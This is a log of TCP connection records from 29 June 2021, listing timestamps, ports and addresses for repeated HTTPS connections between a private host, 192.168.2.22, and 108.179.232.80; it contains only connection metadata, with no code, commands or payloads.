Jun 29, 2021 17:40:55.862103939 CEST	49190	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:56.030689001 CEST	443	49190	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:56.462816954 CEST	443	49190	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:56.463031054 CEST	49190	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:56.463093996 CEST	443	49190	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:56.463161945 CEST	49190	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:56.471976995 CEST	49190	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:56.475445032 CEST	49191	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:56.631791115 CEST	443	49190	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:56.631949902 CEST	443	49191	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:56.632041931 CEST	49191	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:56.633200884 CEST	49191	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:56.789757013 CEST	443	49191	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:56.790640116 CEST	443	49191	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:56.790731907 CEST	49191	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:56.791146994 CEST	49191	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:56.794689894 CEST	49191	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:56.951929092 CEST	443	49191	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:57.361773014 CEST	443	49191	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:57.361979008 CEST	49191	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:57.362107992 CEST	443	49191	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:57.362154961 CEST	49191	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:57.362473011 CEST	49191	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:57.363684893 CEST	49192	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:57.519620895 CEST	443	49191	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:57.521054029 CEST	443	49192	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:57.521153927 CEST	49192	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:57.522100925 CEST	49192	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:57.680164099 CEST	443	49192	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:57.710696936 CEST	443	49192	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:57.710851908 CEST	49192	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:57.711256027 CEST	49192	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:57.714931965 CEST	49192	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:57.871831894 CEST	443	49192	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:58.326880932 CEST	443	49192	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:58.327029943 CEST	49192	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:58.327192068 CEST	443	49192	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:58.327263117 CEST	49192	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:58.327662945 CEST	49192	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:58.330807924 CEST	49193	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:58.484467030 CEST	443	49192	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:58.491378069 CEST	443	49193	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:58.491563082 CEST	49193	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:58.492223978 CEST	49193	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:58.652784109 CEST	443	49193	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:58.653568983 CEST	443	49193	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:58.653726101 CEST	49193	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:58.654165030 CEST	49193	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:58.657933950 CEST	49193	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:58.839994907 CEST	443	49193	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:59.271042109 CEST	443	49193	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:59.271183014 CEST	49193	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:59.272016048 CEST	49193	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:59.274095058 CEST	443	49193	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:59.274168015 CEST	49193	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:59.274236917 CEST	49193	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:59.275592089 CEST	49194	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:59.434880018 CEST	443	49193	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:59.438225031 CEST	443	49194	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:59.438355923 CEST	49194	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:59.439110994 CEST	49194	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:59.600388050 CEST	443	49194	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:59.603311062 CEST	443	49194	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:59.603502989 CEST	49194	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:59.603996992 CEST	49194	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:59.607594013 CEST	49194	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:59.769522905 CEST	443	49194	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:00.174408913 CEST	443	49194	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:00.174518108 CEST	49194	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:00.174631119 CEST	443	49194	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:00.174690962 CEST	49194	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:00.175143003 CEST	49194	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:00.176301956 CEST	49195	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:00.332813978 CEST	443	49195	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:00.332947016 CEST	49195	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:00.333923101 CEST	49195	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:00.335736990 CEST	443	49194	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:00.490463972 CEST	443	49195	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:00.491255999 CEST	443	49195	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:00.491323948 CEST	49195	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:00.491739035 CEST	49195	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:00.497756958 CEST	49195	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:00.654331923 CEST	443	49195	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:01.061537981 CEST	443	49195	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:01.061674118 CEST	49195	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:01.061726093 CEST	443	49195	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:01.061775923 CEST	49195	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:01.062230110 CEST	49195	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:01.063266039 CEST	49196	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:01.218563080 CEST	443	49195	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:01.219882965 CEST	443	49196	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:01.220057011 CEST	49196	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:01.220999002 CEST	49196	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:01.378036976 CEST	443	49196	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:01.386301994 CEST	443	49196	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:01.386378050 CEST	49196	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:01.386847973 CEST	49196	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:01.390701056 CEST	49196	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:01.547410011 CEST	443	49196	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:01.963664055 CEST	443	49196	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:01.963756084 CEST	443	49196	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:01.963841915 CEST	49196	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:01.964222908 CEST	49196	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:01.964329958 CEST	49196	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:01.965585947 CEST	49197	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:02.121066093 CEST	443	49196	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:02.122955084 CEST	443	49197	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:02.123100996 CEST	49197	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:02.123584032 CEST	49197	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:02.280920029 CEST	443	49197	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:02.281600952 CEST	443	49197	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:02.281702042 CEST	49197	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:02.282143116 CEST	49197	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:02.285794020 CEST	49197	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:02.443186045 CEST	443	49197	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:02.852998018 CEST	443	49197	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:02.853183031 CEST	443	49197	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:02.853192091 CEST	49197	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:02.853249073 CEST	49197	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:02.853897095 CEST	49197	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:02.855710983 CEST	49198	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:03.011372089 CEST	443	49197	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:03.012541056 CEST	443	49198	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:03.012672901 CEST	49198	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:03.013231039 CEST	49198	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:03.171212912 CEST	443	49198	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:03.171957016 CEST	443	49198	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:03.172069073 CEST	49198	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:03.172677040 CEST	49198	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:03.177867889 CEST	49198	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:03.336508989 CEST	443	49198	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:03.716276884 CEST	443	49198	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:03.716478109 CEST	49198	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:03.716538906 CEST	443	49198	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:03.716622114 CEST	49198	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:03.719726086 CEST	49198	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:03.722353935 CEST	49199	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:03.878509998 CEST	443	49198	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:03.882469893 CEST	443	49199	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:03.882596016 CEST	49199	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:03.883275986 CEST	49199	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:04.043302059 CEST	443	49199	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:04.044162035 CEST	443	49199	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:04.044393063 CEST	49199	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:04.045207024 CEST	49199	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:04.054706097 CEST	49199	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:04.215395927 CEST	443	49199	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:04.628727913 CEST	443	49199	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:04.628782988 CEST	443	49199	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:04.628886938 CEST	49199	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:04.629847050 CEST	49199	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:04.632323980 CEST	49200	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:04.792666912 CEST	443	49199	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:04.792720079 CEST	443	49200	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:04.792869091 CEST	49200	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:04.793843985 CEST	49200	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:04.950913906 CEST	443	49200	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:04.951384068 CEST	443	49200	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:04.951538086 CEST	49200	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:04.952234983 CEST	49200	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:04.961174965 CEST	49200	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:05.118201971 CEST	443	49200	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:05.533750057 CEST	443	49200	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:05.533859968 CEST	49200	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:05.533926964 CEST	443	49200	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:05.534008026 CEST	49200	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:05.534828901 CEST	49200	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:05.537395954 CEST	49201	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:05.691847086 CEST	443	49200	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:05.697854996 CEST	443	49201	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:05.697964907 CEST	49201	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:05.698925018 CEST	49201	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:05.859497070 CEST	443	49201	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:05.860409975 CEST	443	49201	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:05.860543966 CEST	49201	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:05.861252069 CEST	49201	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:05.870426893 CEST	49201	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:06.031611919 CEST	443	49201	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:06.451586962 CEST	443	49201	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:06.451760054 CEST	49201	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:06.451788902 CEST	443	49201	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:06.451894999 CEST	49201	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:06.452871084 CEST	49201	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:06.455791950 CEST	49202	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:06.613347054 CEST	443	49201	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:06.617005110 CEST	443	49202	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:06.617223024 CEST	49202	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:06.618181944 CEST	49202	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:06.779968023 CEST	443	49202	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:06.780699968 CEST	443	49202	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:06.780879974 CEST	49202	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:06.781620979 CEST	49202	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:06.790164948 CEST	49202	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:06.951431036 CEST	443	49202	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:07.336141109 CEST	443	49202	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:07.336222887 CEST	49202	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:07.336504936 CEST	443	49202	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:07.336560011 CEST	49202	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:07.336932898 CEST	49202	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:07.338476896 CEST	49203	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:07.497807026 CEST	443	49202	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:07.499250889 CEST	443	49203	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:07.499367952 CEST	49203	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:07.500000000 CEST	49203	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:07.661439896 CEST	443	49203	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:07.662405014 CEST	443	49203	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:07.662497997 CEST	49203	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:07.663017988 CEST	49203	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:07.671897888 CEST	49203	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:07.833198071 CEST	443	49203	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:08.225840092 CEST	443	49203	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:08.226069927 CEST	49203	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:08.226073980 CEST	443	49203	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:08.226161003 CEST	49203	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:08.227263927 CEST	49203	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:08.230040073 CEST	49204	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:08.388165951 CEST	443	49203	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:08.391081095 CEST	443	49204	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:08.391354084 CEST	49204	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:08.392360926 CEST	49204	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:08.553828955 CEST	443	49204	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:08.553879023 CEST	443	49204	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:08.553996086 CEST	49204	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:08.554591894 CEST	49204	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:08.562782049 CEST	49204	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:08.723639965 CEST	443	49204	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:09.141700029 CEST	443	49204	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:09.141884089 CEST	49204	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:09.142071009 CEST	443	49204	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:09.142162085 CEST	49204	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:09.142903090 CEST	49204	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:09.148122072 CEST	49205	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:09.303709984 CEST	443	49204	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:09.308358908 CEST	443	49205	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:09.308528900 CEST	49205	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:09.309329033 CEST	49205	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:09.470534086 CEST	443	49205	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:09.471090078 CEST	443	49205	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:09.471214056 CEST	49205	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:09.471786022 CEST	49205	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:09.479790926 CEST	49205	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:09.640517950 CEST	443	49205	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:10.067754030 CEST	443	49205	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:10.067919016 CEST	443	49205	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:10.068006992 CEST	49205	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:10.068754911 CEST	49205	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:10.068919897 CEST	49205	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:10.071362972 CEST	49206	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:10.228033066 CEST	443	49206	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:10.228250980 CEST	49206	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:10.228972912 CEST	443	49205	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:10.229414940 CEST	49206	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:10.385808945 CEST	443	49206	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:10.386600971 CEST	443	49206	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:10.386717081 CEST	49206	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:10.387412071 CEST	49206	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:10.395940065 CEST	49206	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:10.552444935 CEST	443	49206	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:10.983287096 CEST	443	49206	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:10.983386040 CEST	49206	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:10.983576059 CEST	443	49206	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:10.983658075 CEST	49206	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:10.984421015 CEST	49206	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:10.986828089 CEST	49207	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:11.140853882 CEST	443	49206	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:11.146914005 CEST	443	49207	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:11.147847891 CEST	49207	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:11.148174047 CEST	49207	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:11.308303118 CEST	443	49207	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:11.309072018 CEST	443	49207	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:11.309839010 CEST	49207	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:11.310395002 CEST	49207	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:11.319220066 CEST	49207	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:11.479414940 CEST	443	49207	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:11.929799080 CEST	443	49207	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:11.930160999 CEST	443	49207	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:11.930233002 CEST	49207	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:11.930252075 CEST	49207	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:11.931090117 CEST	49207	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:11.931801081 CEST	49208	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:12.091228962 CEST	443	49207	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:12.093259096 CEST	443	49208	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:12.093416929 CEST	49208	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:12.094304085 CEST	49208	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:12.255548000 CEST	443	49208	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:12.256171942 CEST	443	49208	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:12.256393909 CEST	49208	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:12.257055998 CEST	49208	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:12.266515017 CEST	49208	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:12.427679062 CEST	443	49208	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:12.846967936 CEST	443	49208	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:12.847104073 CEST	443	49208	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:12.847156048 CEST	49208	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:12.847209930 CEST	49208	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:12.848076105 CEST	49208	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:12.850739956 CEST	49209	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:13.008099079 CEST	443	49209	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:13.008271933 CEST	49209	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:13.009191036 CEST	49209	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:13.009560108 CEST	443	49208	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:13.167071104 CEST	443	49209	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:13.168207884 CEST	443	49209	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:13.168349028 CEST	49209	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:13.169004917 CEST	49209	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:13.177982092 CEST	49209	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:13.334750891 CEST	443	49209	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:13.740598917 CEST	443	49209	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:13.740722895 CEST	443	49209	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:13.740792990 CEST	49209	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:13.740825891 CEST	49209	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:13.741827011 CEST	49209	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:13.747446060 CEST	49210	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:13.900825977 CEST	443	49209	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:13.908601999 CEST	443	49210	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:13.908849001 CEST	49210	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:13.909446955 CEST	49210	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:14.070996046 CEST	443	49210	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:14.071263075 CEST	443	49210	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:14.071336985 CEST	49210	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:14.071911097 CEST	49210	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:14.077402115 CEST	49210	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:14.238619089 CEST	443	49210	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:14.627517939 CEST	443	49210	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:14.627789021 CEST	49210	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:14.629393101 CEST	443	49210	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:14.629637003 CEST	49210	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:14.629698992 CEST	49210	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:14.629956007 CEST	49210	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:14.632777929 CEST	49211	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:14.790963888 CEST	443	49210	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:14.794786930 CEST	443	49211	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:14.795104027 CEST	49211	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:14.796540976 CEST	49211	443	192.168.2.22	108.179.232.80
